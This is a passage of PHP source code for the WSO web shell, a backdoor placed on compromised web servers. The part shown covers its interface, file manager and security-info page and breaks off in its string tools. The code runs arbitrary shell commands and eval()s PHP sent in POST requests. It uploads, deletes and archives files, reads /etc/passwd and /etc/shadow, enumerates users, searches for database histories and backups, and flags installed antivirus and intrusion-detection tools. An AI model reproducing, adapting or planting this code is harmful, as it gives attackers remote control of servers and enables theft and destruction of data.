'.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
}
function wsoHeader()
{
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['default_charset'];
}
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>\n\r<style>\n\rbody{background-color:#444;color:#e1e1e1;}\n\rbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\n\rtable.info{ color:#fff;background-color:#222; }\n\rspan,h1,a{ color: {$color} !important; }\n\rspan{ font-weight: bolder; }\n\rh1{ border-left:5px solid {$color};padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\n\rdiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\n\ra{ text-decoration:none; }\n\ra:hover{ text-decoration:underline; }\n\r.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\n\r.bigarea{ width:100%;height:300px; }\n\rinput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; }\n\rform{ margin:0px; }\n\r#toolsTbl{ text-align:center; }\n\r.toolsInp{ width: 300px }\n\r.main th{text-align:left;background-color:#5e5e5e;}\n\r.main tr:hover{background-color:#5e5e5e}\n\r.l1{background-color:#444}\n\r.l2{background-color:#333}\n\rpre{font-family:Courier,Monospace;}\n\r</style>\n\r<script>\n\r var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\n\r var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n\r var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n\r var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n\r var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n\r var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n\r var d = document;\n\r\tfunction set(a,c,p1,p2,p3,charset) {\n\r\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\r\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\r\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\r\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\r\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\r\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\r\t}\n\r\tfunction g(a,c,p1,p2,p3,charset) {\n\r\t\tset(a,c,p1,p2,p3,charset);\n\r\t\td.mf.submit();\n\r\t}\n\r\tfunction a(a,c,p1,p2,p3,charset) {\n\r\t\tset(a,c,p1,p2,p3,charset);\n\r\t\tvar params = 'ajax=true';\n\r\t\tfor(i=0;i<d.mf.elements.length;i++)\n\r\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\r\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\n\r\t}\n\r\tfunction sr(url, params) {\n\r\t\tif (window.XMLHttpRequest)\n\r\t\t\treq = new XMLHttpRequest();\n\r\t\telse if (window.ActiveXObject)\n\r\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n\r if (req) {\n\r req.onreadystatechange = processReqChange;\n\r req.open('POST', url, true);\n\r req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n\r req.send(params);\n\r }\n\r\t}\n\r\tfunction processReqChange() {\n\r\t\tif( (req.readyState == 4) )\n\r\t\t\tif(req.status == 200) {\n\r\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\n\r\t\t\t\tvar arr=reg.exec(req.responseText);\n\r\t\t\t\teval(arr[2].substr(0, arr[1]));\n\r\t\t\t} else alert('Request error!');\n\r\t}\n\r</script>\n\r<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>\n\r<form method=post name=mf style='display:none;'>\n\r<input type=hidden name=a>\n\r<input type=hidden name=c>\n\r<input type=hidden name=p1>\n\r<input type=hidden name=p2>\n\r<input type=hidden name=p3>\n\r<input type=hidden name=charset>\n\r</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if (strpos('Linux', $kernel) !== false) {
$explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
} else {
$explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
}
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
}
$cwd_links .= "\")'>" . $path[$i] . "/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach ($charsets as $item) {
$opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
}
$m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
if (!empty($GLOBALS['auth_pass'])) {
$m['Logout'] = 'Logout';
}
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach ($m as $k => $v) {
$menu .= '<th width="' . (int) (100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
}
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':\\')) {
$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter()
{
$is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
echo "\n\r</div>\n\r<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>\n\r\t<tr>\n\r\t\t<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>\n\r\t\t<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\n\r\t</tr><tr>\n\r\t\t<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>\n\r\t\t<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\n\r\t</tr><tr>\n\r\t\t<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>\n\r\t\t<td><form method='post' ENCTYPE='multipart/form-data'>\n\r\t\t<input type=hidden name=a value='FilesMAn'>\n\r\t\t<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>\n\r\t\t<input type=hidden name=p1 value='uploadFile'>\n\r\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\r\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>\n\r\t</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
function posix_getpwuid($p)
{
return false;
}
}
if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
function posix_getgrgid($p)
{
return false;
}
}
function wsoEx($in)
{
$out = '';
if (function_exists('exec')) {
@exec($in, $out);
$out = @join("\n", $out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in, "r"))) {
$out = "";
while (!@feof($f)) {
$out .= fread($f, 1024);
}
pclose($f);
}
return $out;
}
function wsoViewSize($s)
{
if (is_int($s)) {
$s = sprintf("%u", $s);
}
if ($s >= 1073741824) {
return sprintf('%1.2f', $s / 1073741824) . ' GB';
} elseif ($s >= 1048576) {
return sprintf('%1.2f', $s / 1048576) . ' MB';
} elseif ($s >= 1024) {
return sprintf('%1.2f', $s / 1024) . ' KB';
} else {
return $s . ' B';
}
}
function wsoPerms($p)
{
if (($p & 0xc000) == 0xc000) {
$i = 's';
} elseif (($p & 0xa000) == 0xa000) {
$i = 'l';
} elseif (($p & 0x8000) == 0x8000) {
$i = '-';
} elseif (($p & 0x6000) == 0x6000) {
$i = 'b';
} elseif (($p & 0x4000) == 0x4000) {
$i = 'd';
} elseif (($p & 0x2000) == 0x2000) {
$i = 'c';
} elseif (($p & 0x1000) == 0x1000) {
$i = 'p';
} else {
$i = 'u';
}
$i .= $p & 0x100 ? 'r' : '-';
$i .= $p & 0x80 ? 'w' : '-';
$i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
$i .= $p & 0x20 ? 'r' : '-';
$i .= $p & 0x10 ? 'w' : '-';
$i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
$i .= $p & 0x4 ? 'r' : '-';
$i .= $p & 0x2 ? 'w' : '-';
$i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
return $i;
}
function wsoPermsColor($f)
{
if (!@is_readable($f)) {
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
} elseif (!@is_writable($f)) {
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
} else {
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
}
function wsoScandir($dir)
{
if (function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function wsoWhich($p)
{
$path = wsoEx('which ' . $p);
if (!empty($path)) {
return $path;
}
return false;
}
function actionSecInfo()
{
wsoHeader();
echo "<h1>Server security information</h1><div class=content>";
function wsoSecParam($n, $v)
{
$v = trim($v);
if ($v) {
echo '<span>' . $n . ': </span>';
if (strpos($v, "\n") === false) {
echo $v . '<br>';
} else {
echo '<pre class=ml1>' . $v . '</pre>';
}
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) {
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
}
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
$temp = array();
if (function_exists('mysql_get_client_info')) {
$temp[] = "MySql (" . mysql_get_client_info() . ")";
}
if (function_exists('mssql_connect')) {
$temp[] = "MSSQL";
}
if (function_exists('pg_connect')) {
$temp[] = "PostgreSQL";
}
if (function_exists('oci_connect')) {
$temp[] = "Oracle";
}
wsoSecParam('Supported databases', implode(', ', $temp));
echo "<br>";
if ($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['safe_mode']) {
$userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
$danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
$downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
echo "<br>";
$temp = array();
foreach ($userful as $item) {
if (wsoWhich($item)) {
$temp[] = $item;
}
}
wsoSecParam('Userful', implode(', ', $temp));
$temp = array();
foreach ($danger as $item) {
if (wsoWhich($item)) {
$temp[] = $item;
}
}
wsoSecParam('Danger', implode(', ', $temp));
$temp = array();
foreach ($downloaders as $item) {
if (wsoWhich($item)) {
$temp[] = $item;
}
}
wsoSecParam('Downloaders', implode(', ', $temp));
echo "<br/>";
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo "<br/><span>posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\">>\"></form>";
if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid) {
$temp .= join(':', $uid) . "\n";
}
}
echo "<br/>";
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version', wsoEx('ver'));
wsoSecParam('Account Settings', wsoEx('net accounts'));
wsoSecParam('User Accounts', wsoEx('net user'));
}
echo "</div>";
wsoFooter();
}
function actionPhp()
{
if (isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
echo strlen($temp), "\n", $temp;
exit;
}
if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
wsoHeader();
if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
echo "<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>";
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU'), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 > send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
if (!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo "</pre></div>";
wsoFooter();
}
function actionFilesMan()
{
if (!empty($_COOKIE['f'])) {
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
}
if (!empty($_POST['p1'])) {
switch ($_POST['p1']) {
case 'uploadFile':
if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
echo "Can't upload file!";
}
break;
case 'mkdir':
if (!@mkdir($_POST['p2'])) {
echo "Can't create new dir";
}
break;
case 'delete':
function deleteDir($path)
{
$path = substr($path, -1) == '/' ? $path : $path . '/';
$dh = opendir($path);
while (($item = readdir($dh)) !== false) {
$item = $path . $item;
if (basename($item) == ".." || basename($item) == ".") {
continue;
}
$type = filetype($item);
if ($type == "dir") {
deleteDir($item);
} else {
@unlink($item);
}
}
closedir($dh);
@rmdir($path);
}
if (is_array(@$_POST['f'])) {
foreach ($_POST['f'] as $f) {
if ($f == '..') {
continue;
}
$f = urldecode($f);
if (is_dir($f)) {
deleteDir($f);
} else {
@unlink($f);
}
}
}
break;
case 'paste':
if ($_COOKIE['act'] == 'copy') {
function copy_paste($c, $s, $d)
{
if (is_dir($c . $s)) {
mkdir($d . $s);
$h = @opendir($c . $s);
while (($f = @readdir($h)) !== false) {
if ($f != "." and $f != "..") {
copy_paste($c . $s . '/', $f, $d . $s . '/');
}
}
} elseif (is_file($c . $s)) {
@copy($c . $s, $d . $s);
}
}
foreach ($_COOKIE['f'] as $f) {
copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
}
} elseif ($_COOKIE['act'] == 'move') {
function move_paste($c, $s, $d)
{
if (is_dir($c . $s)) {
mkdir($d . $s);
$h = @opendir($c . $s);
while (($f = @readdir($h)) !== false) {
if ($f != "." and $f != "..") {
copy_paste($c . $s . '/', $f, $d . $s . '/');
}
}
} elseif (@is_file($c . $s)) {
@copy($c . $s, $d . $s);
}
}
foreach ($_COOKIE['f'] as $f) {
@rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
}
} elseif ($_COOKIE['act'] == 'zip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach ($_COOKIE['f'] as $f) {
if ($f == '..') {
continue;
}
if (@is_file($_COOKIE['c'] . $f)) {
$zip->addFile($_COOKIE['c'] . $f, $f);
} elseif (@is_dir($_COOKIE['c'] . $f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key => $value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif ($_COOKIE['act'] == 'unzip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach ($_COOKIE['f'] as $f) {
if ($zip->open($_COOKIE['c'] . $f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif ($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if (!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
$dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
if ($dirContent === false) {
echo "Can't open this folder!";
wsoFooter();
return;
}
global $sort;
$sort = array('name', 1);
if (!empty($_POST['p1'])) {
if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
$sort = array($match[1], (int) $match[2]);
}
}
echo "<script>\n\r\tfunction sa() {\n\r\t\tfor(i=0;i<d.files.elements.length;i++)\n\r\t\t\tif(d.files.elements[i].type == 'checkbox')\n\r\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\r\t}\n\r</script>\n\r<table width='100%' class='main' cellspacing='0' cellpadding='2'>\n\r<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for ($i = 0; $i < $n; $i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
$files[] = array_merge($tmp, array('type' => 'file'));
} elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
} elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) {
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b)
{
if ($GLOBALS['sort'][0] != 'size') {
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
} else {
return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
}
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach ($files as $f) {
echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
$l = $l ? 0 : 1;
}
echo "<tr><td colspan=7>\n\r\t<input type=hidden name=a value='FilesMan'>\n\r\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\n\r\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\r\t<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if (class_exists('ZipArchive')) {
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
}
echo "<option value='tar'>Compress (tar.gz)</option>";
if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
echo "<option value='paste'>Paste / Compress</option>";
}
echo "</select> ";
if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
}
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools()
{
if (!function_exists('hex2bin')) {
function hex2bin($p)
{
return decbin(hexdec($p));
}
}
if (!function_exists('binhex')) {
function binhex($p)
{
return dechex(bindec($p));
}
}
if (!function_exists('hex2ascii')) {
function hex2ascii($p)
{
$r = '';
for ($i = 0; $i < strLen($p); $i += 2) {
$r .= chr(hexdec($p[$i] . $p[$i + 1]));
}
return $r;
}
}
if (!function_exists('ascii2hex')) {
function ascii2hex($p)
{
$r = '';
for ($i = 0; $i < strlen($p); ++$i) {
$r .= sprintf('%02X', ord($p[$i]));
}
return strtoupper($r);
}
}
if (!function_exists('full_urlencode')) {
function full_urlencode($p)
{
$r = '';
for ($i = 0; $i < strlen($p); ++$i) {
$r .= '%' . dechex(ord($p[$i]));
}
return strtoupper($r);
}
}
$stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
if (isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
if (in_array($_POST['p1'], $stringTools)) {
echo $_POST['p1']($_POST['p2']);
}
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
echo strlen($temp), "\n", $temp;
exit;
}
if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
wsoHeader();
echo "<h1>String conversions</h1><div class=content>";
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach ($stringTools as $k => $v) {
echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
}
